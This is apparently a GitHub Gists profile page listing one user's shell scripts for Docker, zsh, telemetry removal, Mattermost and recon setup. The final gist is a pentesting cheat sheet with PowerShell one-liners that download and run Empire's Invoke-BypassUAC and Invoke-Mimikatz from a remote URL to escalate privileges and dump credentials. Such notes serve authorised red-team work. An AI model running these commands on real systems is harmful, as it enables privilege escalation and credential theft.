Skip to content

Instantly share code, notes, and snippets.

View shorefall's full-sized avatar

shorefall shorefall

View GitHub Profile
@shorefall
shorefall / pdchain.sh
Created April 30, 2024 11:59
PD Nuclei domain chain
#!/bin/bash
# Function to check if directory exists
create_directory_if_not_exist() {
if [ ! -d "$1" ]; then
mkdir -p "$1"
fi
}
BASE_DIR="${HOME}/Project/ext_active"
@shorefall
shorefall / dockerinstall.sh
Created April 30, 2024 11:56
DockerInstall.sh
#!/bin/bash
# Remove any old versions
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do
sudo apt-get remove -y $pkg
done
# Update package index and install prerequisites
sudo apt-get update
sudo apt-get install -y ca-certificates curl
@shorefall
shorefall / shellfix.sh
Created April 2, 2024 09:11
Fix bash shell by installing zsh and autojump,autosuggest & agnoster
#!/bin/bash
# Function to install Oh My Zsh
install_oh_my_zsh() {
# Check if Zsh is installed
if ! command -v zsh &> /dev/null; then
echo "Zsh is not installed. Installing Zsh..."
sudo apt-get update
sudo apt-get install -y zsh
fi
@shorefall
shorefall / telemetry_off.sh
Created April 2, 2024 08:57
Ubuntu telemetry disable bash script
#!/usr/bin/env bash
################ Description: ###################
# This script will disable all opt-out under
# Ubuntu 22.04 (Codename: Jammy Jellyfish).
# At first the telemetry domains will be resolved
# to the local host and second all telemetry services
# will be removed from the system.
# The following work has a system-wide effect not just
@shorefall
shorefall / mmserversetup.sh
Last active April 2, 2024 09:28
Mattermost & DB Setup Script
#!/bin/bash
# Mattermost and PostgreSQL Installation Script
#
# This script automates the installation of Mattermost and PostgreSQL on an Ubuntu server.
# It sets up a PostgreSQL database and prepares the Mattermost environment but does not start or enable the Mattermost service.
# This is to ensure that Mattermost is not started before its configuration, especially database settings, is properly completed.
#
# How to Use This Script:
# 1. Database Password: Change 'mmuser-password' to a strong, secure password of your choice.
@shorefall
shorefall / zond-setup.sh
Last active January 23, 2024 20:02
Bash zond setup script
#!/bin/bash
GREEN="\e[32m"
RESET="\e[0m"
green_echo() {
echo -e "${GREEN}$1${RESET}"
}
green_echo "[+] Currently not zsh compatible run as bash zond-setup.sh"
green_echo "[+] This currently assumes Go is not already installed on the system"
@shorefall
shorefall / pentesting_cheatsheet.ps1
Last active March 20, 2024 03:24
Intern Pentesting notes
[+] Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
#Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
#Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
#Import Mimikatz Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')"